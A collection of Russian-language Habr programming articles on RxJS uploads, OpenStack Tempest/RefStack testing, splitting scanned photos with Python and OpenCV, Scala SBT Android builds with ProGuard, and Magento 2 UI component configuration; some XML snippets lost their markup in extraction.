Оператор filter отфильтровывает только события о выгрузке. Остальные события нас не интересуют. Дальше мы приводим событие к HttpProgressEvent, чтобы получить доступ к свойствам loaded и total. Считаем процент.
HttpClient всего лишь обертка над xhr, которая избавляет нас от бойлерплейта и делает работу с HTTP проще.
Пример приложения на Angular можно найти [здесь](https://github.com/limitofzero/angular-upload-file-with-progress).
Заключение
----------
RxJS очень мощный инструмент в руках разработчика. В его арсенале есть огромнейший набор операторов на все случаи жизни. К сожалению, из-за этого порог входа в данную технологию довольно высок. И часто, люди по незнанию начинают писать свои «велосипеды», из-за чего код становится трудно поддерживаемым.
Поэтому, хочется пожелать всем читателям, не стоять на месте и не бояться экспериментировать. Изучайте RxJS. Вдруг вы наткнетесь на оператор, который может превратить 10 строчек кода в одну. Или поможет сделать код чуточку понятней.
Удачи! | https://habr.com/ru/post/487836/ | null | ru | null |
# Тестирование OpenStack с помощью Tempest
Tempest — это официальный компонент OpenStack для интеграционного тестирования. Tempest поддерживает три вида тестов: API, сценарии (scenario) и стресс-тесты (stress). API-тесты проверяют функциональность API. Сценарии имитируют сложные многоэтапные операции. Стресс-тесты запускают задания параллельно для тестирования высокой нагрузки. Tempest использует собственную реализацию клиента вместо стандартных клиентов Python, поэтому может отправлять фейковые или некорректные запросы для проверки реализации API.
Настройка Tempest довольно сложна вследствие не совсем понятной документации. И некоторые проблемы могут быть вызваны не конфигурацией Tempest, а настройкой вашего облака. К счастью, есть несколько инструментов, которые помогают в использовании Tempest. В серии статей мы покажем, как запустить Tempest автономно и с помощью дополнительных инструментов.
В этой статье рассмотрим использование клиента RefStack для запуска тестов Tempest. RefStack — это инструмент, разработанный для запуска тестов DefCore. DefCore — это набор требований, которым должно удовлетворять облако OpenStack, чтобы быть сертифицированным OpenStack Foundation. На момент написания статьи последняя версия тестов 2016.01, состоящая из 306 тестов. Tempest находится в активной разработке, и если вы посмотрите ветку master у Tempest, то увидите, что 10 из 306 тестов больше не актуальны.
Установка refstack-client очень проста и описана в этом [документе](https://opendev.org/openinfra/interop/src/branch/master/guidelines/2016.01/procedure.rst). Если вкратце, то нужно выполнить пять шагов:
1. Скачать исходный код:
```
git clone https://git.openstack.org/openstack/refstack-client
```
2. Установить в локальное виртуальное окружение:
```
./setup_env
```
3. Скачать тесты 2016.01:
```
https://refstack.openstack.org/api/v1/guidelines/2016.01/tests?type=required
```
4. Запустить тесты:
```
./refstack-client test -c ~/tempest.conf --test-list test-list-file-name
```
5. Загрузить результаты теста на refstack.openstack.org (опционально):
```
./refstack-client upload .tempest/.testrepository/[some-number].json
```
На последнем шаге результаты загружаются на refstack.openstack.org для анализа и статистики. Подробнее об этом вы можете почитать [здесь](https://github.com/openstack/refstack/blob/master/doc/source/uploading_private_results.rst).
Документация refstack-client довольно проста и лаконична, но проблемы появляются на четвертом шаге с подготовкой tempest.conf. Для этого нужно разобраться, что входит в тесты DefCore, и включить необходимую функциональность OpenStack. Мы будем настроивать All-In-One (AIO) OpenStack (версия Mitaka), в котором все компоненты будут на одном хосте. Устанавливать будем, используя Puppet, по этим [инструкциям](https://github.com/openstack/puppet-openstack-integration#all-in-one). Эти же тесты можно запустить и в многохостовой конфигурации.
Тесты DefCore 2016.01 охватывают шесть компонент: Keystone, Glance, Cinder, Nova, Neutron, Swift. Поскольку выполняются только API-тесты, Horizon устанавливать не нужно. Включаем все сервисы в tempest.conf.
```
[service_available]
cinder = true
neutron = true
glance = true
swift = true
nova = true
```
Для тестов 2016.01 требуется возможность Nova изменять размеры инстансов. Включаем эту функцию в tempest.conf и настраиваем два flavor, чтобы Tempest мог создать экземпляр сначала с одной конфигурацией, а потом изменить на другую. Мы используем стандартные flavor: 1 (m1.tiny) и 2 (m1.small).
```
[compute]
flavor_ref = 1
flavor_ref_alt = 2
[compute-feature-enabled]
resize = true
```
Разрешаем AIO OpenStack изменение инстанса на одном узле в nova.conf.
```
allow_resize_to_same_host=True
scheduler_default_filters=AllHostsFilter
```
Затем перезапускаем сервисы nova.
```
service nova-scheduler restart
service nova-compute restart
```
Также для поддержки версионирования требуется Swift.
/etc/swift/container-server.conf
```
[app:container-server]
allow_versions = true
```
Для Swift нужно создать две роли (если они еще не существуют).
```
openstack role create Member
openstack role create ResellerAdmin
```
Их имена совпадают с конфигурацией в tempest.conf.
```
[object-storage]
operator_role = Member
reseller_admin_role = ResellerAdmin
```
Учетная запись, используемая для запуска тестов Tempest, должна иметь эти две роли. Создадим пользователя с именем swiftop, с указанными ролями.
```
openstack user create swiftop --password a_big_secret
openstack role add Member --user swiftop --project openstack
openstack role add ResellerAdmin --user swiftop --project openstack
```
Затем нужно создать файл с именем account.yaml с тестовой учетной записью. Клиент RefStack не поддерживает динамические учетные данные, поэтому нужно заранее создать тестовую учетную запись и указать ее в файле account.yaml. Аналогично нельзя попросить Tempest создать сеть для тестов — ее нужно создать перед запуском Tempest, как показано далее. По ряду причин некоторые тесты падают при их запуске под пользователем admin. Поэтому создаем учетную запись для запуска тестов.
```
- username: 'swiftop'
tenant_name: 'openstack'
password: 'a_big_secret'
roles:
- 'Member'
- 'ResellerAdmin'
```
Далее нам нужно сделать еще несколько вещей для запуска тестов Neutron. При установке Puppet мы включили туннелирование (для tenant-сети) и создали сеть public на мосту br-ex, чтобы хост, на котором запущен Tempest, мог общаться с экземплярами в нашем AIO OpenStack. Затем нужно создать tenant-сеть (типа vxlan) для использования Tempest.
```
neutron net-create mynet
neutron subnet-create mysubnet
neutron subnet-create --name mysubnet mynet 192.168.0.0/24
neutron router-create myrouter
neutron router-gateway-set myrouter public
neutron router-interface-add myrouter mysubnet
```
Для доступа к экземпляру с хоста можно создать плавающий IP-адрес (floating IP) и назначить этот IP экземпляру. Не забудьте разрешить порт 22 и icmp в группе безопасности "default", которые будет использоваться при создании экземпляров в тестах.
Затем в tempest.conf указываем сети:
```
[compute]
fixed_network_name = mynet
[network]
public_network_id = [UUID of ‘public’ network]
floating_network_name = public
```
В некоторых тестах 2016.01 Tempest необходимо подключаться к экземпляру по ssh для проверки, например, номера процессора и имени хоста. Поскольку мы используем образ cirros во всех тестах, для входа в систему нет необходимости в использовании ssh-ключей. Логиниться будем с именем и паролем, которые укажем в tempest.conf.
```
[validation]
run_validation = true
connect_method = floating
image_ssh_user = cirros
image_ssh_password = cubswin:)
```
Tempest нужно два образа. Мы можем загрузить одинаковые образы cirros дважды, чтобы получить два разных UUID. Указываем их UUID в tempest.conf.
```
[compute]
image_ref = [UUID of cirros image]
image_ref_alt = [UUID of another cirros image]
```
Наконец, нам нужно указать Keystone uri.
```
[identity]
uri = http://localhost:5000/v2.0
uri_v3 = http://localhost:5000/v3
auth_version = v3
```
Мы запускаем Tempest на том же хосте, что и OpenStack AIO, поэтому используем здесь localhost. С версии Mitaka рекомендуется версия Keystone v3, поэтому в auth\_version указываем v3 .
Со всеми этими изменениями запускаем тесты RefStack и загружаем результат на refstack.openstack.org.
Если ваше облако настроено правильно, то вы увидите зеленое "YES" на странице результатов, что означает соответствие DefCore 2016.01.
---
CI/CD очень часто используется в организации запуска тестов на различных стендах и окружениях. Также данные системы позволяют интегрировать процесс тестирования в процесс сборки продукта. Но часто возникает задача поднятия дженкинса и создания соответствующих сборок для прогона тестов на облаке. Создавать и настраивать руками сборки — это очень плохая практика, да и хочется хранить все в виде кода.
Уже завтра вечером состоится открытое занятие онлайн-курса «**Автоматизация тестирования OpenStack**», на котором обсудим:
— как поднять дженкинс, как docker compose service;
— как организовать сборку тестов и их прогон в докере дженкинс слейва;
— как сборки, описанные в виде конфигураций, задеплоить на дженкинс, используя Openstack Jenkins Jobs Builder.
* [Регистрация на открытый урок.](https://otus.pw/pXMeK/) | https://habr.com/ru/post/699220/ | null | ru | null |
# Разделение отсканированных вместе фотографий (Python 3 + OpenCV3)
По ящикам шкафов да пыльным полкам уже десятилетиями складируются дюжины семейных фотоальбомов. Состояние некоторых из них давно заставляет задумываться об «оцифровке» накопившегося материала. И чтобы хоть чуточку ускорить предстоящий процесс, было принято решение сканировать по несколько фотографий за раз. Однако перспектива разгребать получаемый в результате этого контент и руками дробить его на отдельные кадры мне не улыбалась. В итоге родилось решение...
Учитывая мое знакомство с основами python и интерес к компьютерному зрению, подвернувшаяся практическая задачка пришлась весьма кстати. В самом начале я проводил тестирование на изображении собранном в Pixelmator'е из трех других. Забегая вперед, нужно сказать что тогда я не предусмотрел возможность наклона фотографий на исходном изображении. Каждой в свою сторону. Тогда, отобрав несколько фотографий и сделав пару заходов к МФУ, я получил два изображения, на которых проверял работоспособность кода по мере написания. Ввиду личного содержимого альбомов, пример я приведу на иных изображениях.
Так программа выглядит из терминала:
**Исходное изображение**
**Результаты**
Заинтересовались? Продолжаем.
Установку OpenCV рассматривать не буду, многочисленные инструкции можно найти на просторах Сети. Итак, изначально мы импортируем зависимости:
```
from numpy import int0, zeros_like, deg2rad, sin, cos, dot, array as nparray
from math import ceil
import cv2
from os import mkdir, chdir
from os.path import basename, dirname, isdir, join as path_join
from argparse import ArgumentParser
```
Функция main() выглядит следующим образом:
```
def main():
parser = ArgumentParser(description='Разделение отсканированных вместе изображений')
parser.add_argument('-n', type=int, dest='number', required=True, help='Количество элементов на изображении')
parser.add_argument('-i', dest='image', required=True, help='Путь к исходному изображению')
args = parser.parse_args()
folder = dirname(args.image)
image_name = basename(args.image)
extension = image_name.split('.')[-1]
image_name_without_extension = '.'.join(image_name.split('.')[:-1])
if folder:
chdir(folder)
if not isdir(image_name_without_extension):
mkdir(image_name_without_extension)
image = cv2.imread(image_name)
contours = get_contours(image, args.number)
i = 1
for c in contours:
ca = int0(cv2.boxPoints(cv2.minAreaRect(c)))
im = image[ca[2][1]:ca[0][1],ca[1][0]:ca[3][0]]
im = rotate(ca, im)
cv2.imwrite(path_join(image_name_without_extension, '%s.%s'%(i, extension)), im)
i += 1
cv2.destroyAllWindows()
```
Слишком сложно? Давайте по порядку.
```
parser = ArgumentParser(description='Разделение отсканированных вместе изображений')
parser.add_argument('-n', type=int, dest='number', required=True, help='Количество элементов на изображении')
parser.add_argument('-i', dest='image', required=True, help='Путь к исходному изображению')
args = parser.parse_args()
```
Создаем объект типа ArgumentParser с аргументом description, описывающим наше будущее приложение. Добавляем аргумент '-n' целочисленного типа, который будем хранить как 'number', а также прикладываем описание параметра для команды -h/--help. Аналогично со строковым аргументом '-i', оба аргумента обязательны (required=True). В последней строке разбираем аргументы, которые были переданы скрипту при запуске.
Далее:
```
folder = dirname(args.image)
image_name = basename(args.image)
extension = image_name.split('.')[-1]
image_name_without_extension = ''.join(image_name.split('.')[:-1])
```
Из параметра args.image получаем путь к директории с файлом (если он есть), имя файла, расширение и имя без расширения.
```
if folder:
chdir(folder)
if not isdir(image_name_without_extension):
mkdir(image_name_without_extension)
```
Если папка с изображением — не текущая рабочая директория, переходим в нее. На месте создаем папку с именем исходного изображения без расширения куда будем складывать итоговые.
```
image = cv2.imread(image_name)
contours = get_contours(image, args.number)
```
Открываем наше изображение. Находим описывающие прямоугольники для каждого из args.number количества изображений.
Описание функции get\_contours() ниже по тексту.
Задаем счетчик. Далее начинается цикл в котором мы перебираем контуры найденных изображений:
```
i=1
for c in contours:
```
Внутри цикла:
Получаем двумерный массив точек минимального описывающего прямоугольника.
```
ca = int0(cv2.boxPoints(cv2.minAreaRect(c)))
```
Делаем кроп изображения по этим точкам.
```
im = image[ca[2][1]:ca[0][1],ca[1][0]:ca[3][0]]
```
Поворачиваем изображение. Описание функции rotate() ниже по тексту.
```
im = rotate(ca, im)
```
Сохраняем изображение под соответствующим номером в созданной по имени исходного файла без расширения папке.
```
cv2.imwrite(path_join(image_name_without_extension, '%s.%s'%(i, extension)), im)
```
Тикает счетчик.
```
i += 1
```
И так пока не пройдемся по всем элементам исходного изображения. В общем-то, все. Теперь рассмотрим функции.
get\_contour() выглядит так:
```
def get_contours(src, num=0):
src = cv2.copyMakeBorder(src, 2, 2, 2, 2, cv2.BORDER_CONSTANT, value=(255, 255, 255))
gray = cv2.cvtColor(src, cv2.COLOR_BGR2GRAY)
thresh = cv2.threshold(gray, 230, 255, cv2.THRESH_BINARY)[1]
contours = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_TC89_L1)[1]
if not num:
return sorted(contours, key = cv2.contourArea, reverse = True)[1]
else:
return sorted(contours, key = cv2.contourArea, reverse = True)[1:num+1]
```
Внутри функции мы немного расширяем изображение для определния изображений «прилипших» к краям, приводим к оттенкам серого, бинаризируем и находим контуры. В случае если вызов этой функции был произведен из функции rotate(), параметр num останется равен 0, тогда мы возвращаем только один (второй, ибо первый, который с индексом 0, описывает все исходное изображение) элемент (контур) отсортированного по площади контура массива. Если же вызов производился из функции main(), параметр num содержит args.number и функция get\_contours() вернет args.number контуров.
Функция rotate(). Здесь я позволю себе обойтись комментариями в коде.
```
def rotate(contour, src):
#вычисляем угол поворота
angle = cv2.minAreaRect(contour)[2]
if angle > 45:
angle -= 90
if angle < -45:
angle += 90
#получаем ширину и высоту
w, h = src.shape[1], src.shape[0]
#переводим градусы в радианы
rotangle = deg2rad(angle)
#вычисляем новые ширину и высоту изображения
nw = abs(sin(rotangle)*h) + abs(cos(rotangle)*w)
nh = abs(cos(rotangle)*h) + abs(sin(rotangle)*w)
#строим матрицу поворота
rotation_matrix = cv2.getRotationMatrix2D((nw*0.5, nh*0.5), angle, 1.0)
rotatiom_move = dot(rotation_matrix, nparray([(nw-w)*0.5, (nh-h)*0.5,0]))
rotation_matrix[0,2] += rotatiom_move[0]
rotation_matrix[1,2] += rotatiom_move[1]
#поворачиваем изображение
src = cv2.warpAffine(src, rotation_matrix, (int(ceil(nw)), int(ceil(nh))), flags=cv2.INTER_LANCZOS4, borderValue=(255,255,255))
#избавляемся от белой рамки по краям
ca = int0(cv2.boxPoints(cv2.minAreaRect(get_contours(src))))
#кропаем и возвращаем из функции повернутое, "чистое" изображение
return src[ca[2][1]+14:ca[0][1]-3,ca[1][0]+3:ca[3][0]-3]
```
Спасибо за прочтение. Если кто-то знает как можно оптимизировать алгоритм и какие где косяки я допустил, добро пожаловать в комментарии. Надеюсь, кому-то эта статья будет полезна.
**Код целиком**
```
#!/usr/local/bin/python3
from numpy import int0, zeros_like, deg2rad, sin, cos, dot, array as nparray
from math import ceil
import cv2
from os import mkdir, chdir
from os.path import basename, dirname, isdir, join as path_join
from argparse import ArgumentParser
def get_contours(src, num=0):
#расширяем изображение для определния изображений "прилипших" к краям
src = cv2.copyMakeBorder(src, 2, 2, 2, 2, cv2.BORDER_CONSTANT, value=(255, 255, 255))
#приводим к оттенкам серого
gray = cv2.cvtColor(src, cv2.COLOR_BGR2GRAY)
#бинаризируем
thresh = cv2.threshold(gray, 230, 255, cv2.THRESH_BINARY)[1]
#находим контуры
contours = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_TC89_L1)[1]
if not num:
#возвращаем один контур при вызове из функции поворота
return sorted(contours, key = cv2.contourArea, reverse = True)[1]
else:
#возвращаем ars.n объектов при вызове из функции main()
return sorted(contours, key = cv2.contourArea, reverse = True)[1:num+1]
def rotate(contour, src):
#вычисляем угол поворота
angle = cv2.minAreaRect(contour)[2]
if angle > 45:
angle -= 90
if angle < -45:
angle += 90
#получаем длину и ширину
w, h = src.shape[1], src.shape[0]
#переводим градусы в радианы
rotangle = deg2rad(angle)
#вычисляем новые ширину и высоту изображения
nw = abs(sin(rotangle)*h) + abs(cos(rotangle)*w)
nh = abs(cos(rotangle)*h) + abs(sin(rotangle)*w)
#строим матрицу поворота
rotation_matrix = cv2.getRotationMatrix2D((nw*0.5, nh*0.5), angle, 1.0)
rotatiom_move = dot(rotation_matrix, nparray([(nw-w)*0.5, (nh-h)*0.5,0]))
rotation_matrix[0,2] += rotatiom_move[0]
rotation_matrix[1,2] += rotatiom_move[1]
#поворачиваем изображение
src = cv2.warpAffine(src, rotation_matrix, (int(ceil(nw)), int(ceil(nh))), flags=cv2.INTER_LANCZOS4, borderValue=(255, 255, 255))
#избавляемся от белых полос
ca = int0(cv2.boxPoints(cv2.minAreaRect(get_contours(src))))
#кропаем и возвращаем повернутое, "чистое" изображение
return src[ca[2][1]+14:ca[0][1]-3, ca[1][0]+3:ca[3][0]-3]
def main():
parser = ArgumentParser(description='Разделение отсканированных вместе изображений')
parser.add_argument('-n', type=int, dest='number', required=True, help='Количество элементов на изображении')
parser.add_argument('-i', dest='image', required=True, help='Путь к исходному изображению')
args = parser.parse_args()
folder = dirname(args.image)
image_name = basename(args.image)
extension = image_name.split('.')[-1]
image_name_without_extension = '.'.join(image_name.split('.')[:-1])
if folder:#если папка с изображением - не cwd
chdir(folder)#переходим в нее
if not isdir(image_name_without_extension):
mkdir(image_name_without_extension)#создаем папку по названию исходного файла без расширения
#открываем изображение
image = cv2.imread(image_name)
#находим описывающие прямоугольники
contours = get_contours(image, args.number)
i = 1#счетчик
for c in contours:
#получаем np.масив точек наименьшего описывающего прямоугольника
ca = int0(cv2.boxPoints(cv2.minAreaRect(c)))
#делаем кроп изображения по этим точкам
im = image[ca[2][1]:ca[0][1], ca[1][0]:ca[3][0]]
#поворачиваем изображение
im = rotate(ca, im)
#записываем в папку
cv2.imwrite(path_join(image_name_without_extension, '%s.%s'%(i, extension)), im)
#счетчик тикает
i += 1
if __name__=='__main__': main()
``` | https://habr.com/ru/post/281669/ | null | ru | null |
# О том как создать простое Scala SBT-приложение для Android
Доброго времени суток, друзья. Занимаясь разработкой инструментов для разработчиков, я столкнулся с вопросом о взаимодействии вышеупомянутых инструмента, языка программирования и платформы. Если первые две сущности просто созданы друг для друга (SBT — основной, наиболее часто используемый build tool для разработки на Scala), то их применимость для платформы Andriod не является чем-то само собой разумеющимся. И тем не менее, в огромной и постоянно развивающейся индустрии ПО складываются и такие ситуации, когда данный набор технологий будет рациональным выбором. Вопрос — когда данный выбор рационален, не является предметом данной статьи. А расскажу я именно том, как это делать.
Среда разработки
----------------
Я исследовал применимость данного подхода для работы в [Android Studio](https://developer.android.com/studio/install.html) и [IntelliJ IDEA](https://www.jetbrains.com/idea/). Для этой цели, значимой разницы в средах практически нет. Есть нюансы — с ними я вас ознакомлю по ходу статьи. А в общем, технологии которые мы будем использовать в равной степени интегрированы как в Студию, так и в Идею. Ведь первая базируется на той же платформе IntelliJ что и Идея. Поэтому, ваш выбор скорее должен основываться на специфике проекта.
Создание базового проекта
-------------------------
Первым инструментом в нашем деле станет [Scala plugin](https://github.com/JetBrains/intellij-scala), предназначенный для разработки на языке Scala в IntelliJ IDEA и Android Studio. Данный плагин так же предоставляет и SBT. Он не идёт в комплекте со средами разработки, поэтому нам потребуется его скачать из репозитория компании JetBrains.
Теперь мы можем создать базовый Scala SBT проект. И здесь имеет место первое различие между средами: Scala plugin предоставляет Мастер (Wizard) по созданию нового SBT проекта, доступный в Идее: `[File → New → Project → Scala → SBT]`. Но Android Studio не даёт нам возможности выйти на выбор Мастера и сразу запускает свой (на основе другой build tool — Gradle). Поэтому, в Студию SBT проект мы можем только импортировать. В принципе, это дело 20 секунд:
1. В отдельной папке мы создаём файл `build.sbt` с содержимым `name := "example"`.
2. Консоль-командой `sbt compile` мы генерируем всё необходимое для базового проекта. (терминал запущен внутри Студии, чтобы был доступ к SBT)
3. В окне приветствия Android Studio делаем Import project и выбираем созданный нами `build.sbt`
В мастере импорта указываем Android SDK (на данный момент 25), снимаем чек-боксы доп. действий и импортируем. В Идее, при создании нового SBT проекта нет возможности выбрать Android SDK — выбираем Java SDK (на данный момент 1.8) и Scala 2.11.\* версии. А Android SDK сам подставится впоследствии, после включения Android Framework. SBT проект готов.
### Плагин для интеграции SBT и Android
Далее следует адаптировать проект для запуска на Android платформе.
1. Первым делом добавляем в папку `project` файл `plugins.sbt` и прописываем в него добавление [плагина](https://github.com/scala-android/sbt-android)
```
addSbtPlugin("org.scala-android" % "sbt-android" % "1.7.7")
```
2. Модифицируем `build.sbt`, добавляя в билд-процедуру включение плагина sbt-android и таски для запуска
```
name := "example"
scalaVersion := "2.11.8"
enablePlugins(AndroidApp)
run <<= run in Android
install <<= install in Android
```
3. Добавляем в проект AndroidManifest.xml. В Студии можно положить этот файл в корень проекта. В Идее, т.к. визард уже создал структуру папок следует положить его на один уровень с Source root folder, т.е. в `src/main`. После создания файла, Идея/Студия подскажет нам включить в проект Android Framework. Принимаем предложение. Минимальное заполнение манифеста:
```
```
4. Если мы работаем в Android Studio, создаём source root директорию scr (в Идее уже имеется `src/main/scala`). В ней создаём пакет com.example с файлом `MyActivity.scala`, с простой Activity
```
package com.example
import android.app.Activity
class MyActivity extends Activity { }
```
5. Открываем и включаем Андроид-эмулятор
6. Рефрешим проект для активации всех новых настроек. Если вы работаете в IDEA, то при данном действии автоматически включается ProGuard (о котором поговорим позже). Сейчас его следует отключить в `[Project Structure → Facets → Android → Proguard → Run proguard ...]`.
7. И запускаем имеющуюся по-умолчанию Run configuration `[Run -> Run ... -> MyActivity`
Результат:
### ProGuard Tool — адаптация Scala к платформе Android
На данный момент мы имеем работающим самое простое приложение. Если мы начнём его расширять, например хотя бы добавим в `build.sbt` библиотеку [Scaloid](https://github.com/pocorall/scaloid) (о которой поговорим далее)
```
libraryDependencies += "org.scaloid" %% "scaloid" % "4.2"
```
то столкнёмся с проблемой. Android платформа имеет лимит на количество референсов — 64K. По причине особенностей Scala кода этот лимит достигается быстро. И уже просто включив данную библиотеку мы получим ошибку при запуске проекта:
`Error:Android Pre Dex: [scaloid_2.11-4.2.jar] trouble writing output: Too many method references: 81694; max is 65536.`
Стандартный подход к решению этой задачи:
1. Вырезание из проекта неиспользуемого кода посредством инструмента [ProGuard](https://developer.android.com/studio/build/shrink-code.html);
2. Разделение исходников проекта на несколько .dex файлов, каждый из которых будет содержать приемлемое количество методов. Имя процедуре — [MultiDexing](https://developer.android.com/studio/build/multidex.html).
Как правило, если задачу можно решить только первым шагом, то только его и используют. А MultiDexing идёт уже если первого недостаточно. В рамках данной задачи ProGuard'a будет достаточно.
Включается инструмент в опциях Android Facet: `[Project Structure → Facets → Android → Proguard → Run proguard ...]`. Отметим, что по-умолчанию уже указан текстовый файл с базовыми настройками: Студия включает файл из SDK `.../Android/sdk/tools/proguard/proguard-android.txt`, Идея включает и создаёт конфигурационный файл в корне проекта `.../example/proguard-sbt.txt`. Для успешного исполнения нашего проекта достаточно будет добавить в него три дополнительные опции:
```
-dontwarn scala.**
-dontwarn org.scaloid.**
-keep class com.example.**
```
При обработке байт-кода библиотек Scala и Scaloid, ProGuard будет сыпать Warnings, которые в нашем случае не влияют на результат, но блокируют дальнейший процесс запуска. Поэтому опцией `-dontwarn` мы их убираем. Так же, требуется указать чтоб ProGuard не вырезал наш рукописный код. Это обеспечивает опция `-keep class`.
При запуске я сталкивался двумя ошибками:
1. `Unsupported class version number [52.0] (maximum 51.0, Java 1.7)`. Причина её в том, что Android SDK основывается на Java 1.8, а ProGuard поддерживает максимум 1.7. Это решается [обновлением](https://sourceforge.net/projects/proguard/files/proguard/) ProGuard до версии 5 и выше, прямо внутри Android SDK;
2. `Error:ProGuard: Cannot find file /Users/.../Caches/AndroidStudio2.3/compile-server/.../proguard.txt` — это баг самой платформы, и решается он ручной или заскриптованой подкладкой файла `proguard-android.txt` из Android SDK в тот самый кэш, с последующим переименованием в `proguard.txt`. Не самый удобный способ, но всё таки, данная процедура используется не часто, особенно потому, что все эти опции пользователи, как правило, указывают в `build.sbt` файле.
Более проблем я не наблюдал, и успешно запустил проект с включённой в него библиотекой Scaloid, который при запуске урезался ProGuard'ом. По достижению определённой сложности проекта, есть смысл включить в него плагин для работы с ProGuard'ом. Таковых есть несколько, но поддерживаемый на данный момент я нашёл один: [sbt-proguard](https://github.com/scala-android/sbt-android). По самому ProGuard'у так же есть [мануал](https://www.guardsquare.com/en/proguard/manual/introduction) на его сайте.
На этом, друзья, я завершу данную статью. Если она вызовет интерес, я подробнее изучу и опишу использование библиотек для разработки под Android на Scala, таких как [Scaloid](https://github.com/pocorall/scaloid) или [Macroid](https://github.com/47deg/macroid), и как, используя особенности языка Scala, решать распространённые задачи/проблемы на этой мобильной платформе. Во многом при изучении материала мне помогали [ресурс](http://scala-android.org/) Android SBT плагина и просто информационный [сайт](http://scala-on-android.taig.io/), посвящённый разработке на Scala под Android. Благодарю вас за внимание, буду раз конструктивной критике, вопросам, комментариям и пожеланиям. Спасибо! | https://habr.com/ru/post/327782/ | null | ru | null |
# Magento 2 UI Components. Часть 2: конфигурация
Привет! Меня зовут Павел и я Magento 2 бэкенд-разработчик. [В прошлой части саги](https://habr.com/ru/company/rshb/blog/550772/) о Magento 2 UI Components мы получили общие сведения о UI-компонентах, их разнообразии, строении и технологиях, лежащих в основе. Сегодня подробно коснемся их конфигурации: значения по умолчанию, XML-конфигурации, выражения в значениях конфигурации, замена шаблонов и JS-компонентов и пр. Погнали!
### Прежде всего
Поскольку сегодня мы будем много говорить об XML конфигурациях компонентов, нужно понять одну очень важную вещь. XML файл при парсинге превращается в многомерный массив, который затем используется для конфигурации компонента (в том числе при JS инициализации, см. предыдущую статью) верхнего уровня и всех дочерних компонентов. Когда мы будем обсуждать элементы конфигурации, этот момент стоит держать в голове, - так многие вещи станут понятнее.
Также следует знать, что М2 при парсинге всех XML конфигураций выполняет merge всех получившихся массивов для одноименных файлов конфигураций. Это значит, что мы можем переписать конфигурацию какого либо компонента в своем модуле без необходимости переписывать всю исходную конфигурацию (по тому же принципу, как это работает, например, для лейаутов). Порядок, в котором будут парситься файлы (более поздние будут затирать значения более ранних) можно определить путем указания sequence в файле `module.xml`.
Самая базовая конфигурация компонентов обозначена в файле `/vendor/magento/module-ui/view/base/ui\_component/etc/definition.xml`. Все отдельные файлы конфигураций перетирают значения, заданные в этом файле. Однако также стоит помнить, что значения по умолчанию для конфигурации содержатся также в JS классе компонента.
Значения по умолчанию можно не указывать в XML конфигурации, и их объявление требуется только в случае, если необходимо задать значения, отличных от значений по умолчанию.
Как мы уже упоминали ранее, результатом обработки XML конфигураций будет конструкция вида
```
{"\*": {"Magento\_Ui/js/core/app":{<JSON\_configuration>}}}
```
на целевой странице, которая будет включать конфигурацию для всех UI компонентов.
### Конфигурация верхнего уровня
Для примера возьмем любой грид (компонент верхнего уровня listing) и последовательно рассмотрим его конфигурацию, постепенно спускаясь от верхнего уровня к нижнему.
**Дата-провайдер**
Первое, о чем хотелось бы поговорить - дата-провайдер компонента listing. Объявляется он примерно так:
```
white\_rabbit\_grid\_listing.white\_rabbit\_grid\_listing\_data\_source
```
Результатом парсинга этого элемента будет такой элемент конфигурации:
```
[‘data’][‘js_config’][‘provider’] = white_rabbit_grid_listing.white_rabbit_grid_listing_data_source
```
Первая часть этого выражения - сам компонент верхнего уровня, в нашем случае - `listing` (она соответствует названию файла, `white_rabbit_grid_listing.xml`). Вторая часть - после точки - собственно, дата-провайдер.
Дата-провайдерами управляет класс-фабрика `Magento\Framework\View\Element\UiComponent\DataProvider\CollectionFactory`, содержащий в переменной $collections массив, где ключами являются имена дата-провайдеров, а значениями - референсы их классов . Дата-провайдер добавляется через механизм DI в файле di.xml, например:
```
RSHB\WhiteRabbit\Model\ResourceModel\Rabbit\Grid\Collection
rshb\_white\_rabbit
RSHB\WhiteRabbit\Model\ResourceModel\Rabbit
```
Таким образом дата-провайдер узнает, откуда брать коллекцию элементов для нашего грида.
Далее привязываем дата-провайдер в качестве источника данных для нашего грида:
```
id
id
id
```
Как мы видим, за источник данных отвечает компонент `DataSource`
Здесь стоит обратить внимание на то, как задаются primary поля для сущности, а также поля, которые будут индексными для грида (в некоторых случаях бывает полезно использовать разные поля для этих нужд).
**Настройки (settings)**
Общий для всех компонентов раздел, который позволяет задать множество параметров компонента. Рассмотрим на примере родительского компонента listing:
```
entity\_grid\_columns
entity\_grid\_listing.entity\_grid\_listing\_data\_source
primary
Add New Referral
```
Обратим внимание на несколько элементов. Первое: указана зависимость () от дата-провайдера. Второе: компонент включает настройки для кнопок и спиннера, который выводится при загрузке (указана группа компонентов, для которых этот спиннер будет появляться).
Возникает вопрос: как узнать, что вообще мы можем писать в `settings`? Идем в определения компонентов, которые находятся по адресу `/vendor/magento/module-ui/view/base/ui\_component/etc/definition`, и смотрим в файл `listing.xsd`, среди прочего видим группу `componentListingSettings`, где обозначены описанные выше элементы. А элемент наследуется от определения более высокого уровня, из общего для всех настроек определения `ui_settings.xsd`. Однако, нет смысла каждый раз копаться в ядре, для абсолютного большинства компонентов доступные элементы раздела `settings` указаны на страницах самих компонентов (см. [Предыдущую часть](https://habr.com/ru/company/rshb/blog/550772/)).
**Прочие элементы базового компонента listing**
Кратко рассмотрим прочие элементы базового компонента `listing`:
`ListingToolbar` является оберткой для набора компонентов управления гридом, например:
```
true
```
Как мы видим, здесь задаются компоненты закладок, фильтров, пагинации п пр. Каждый из этих компонентов может быть сконфигурирован по тому же принципу, что и базовый компонент - при помощи раздела settings. В примере выше для компонентов bookmark, filters, paging оставлены настройки по умолчанию, поэтому раздел settings просто не объявляется.
Наконец, одним из важнейших компонентов грида является компонент-обертка Columns, который включает в себя дочерние компоненты типа Column.
### Конфигурация дочернего компонента
В целом, конфигурация дочернего компонента ничем не отличается от конфигурации базовых компонентов, мы также можем задавать конфигурацию в разделе :
```
text
true
Order ID
```
Поэтому коснемся аспектов, которые мы пропустили при рассмотрении базового компонента.
**Класс**
По своей сути это серверная часть компонента, которая занимается подготовкой данных перед передачей их js-виджету. По умолчанию у каждого компонента есть свой класс, однако мы можем подменить этот класс для получения поведения, которое нам необходимо. Рассмотрим пример.
Предположим, есть коллекция объектов, каждый из которых выглядит так:
```
{
“fist_name”: “Rabbit”,
“middle_name”: “Whitest”,
“last_name”: “White”,
…
}
```
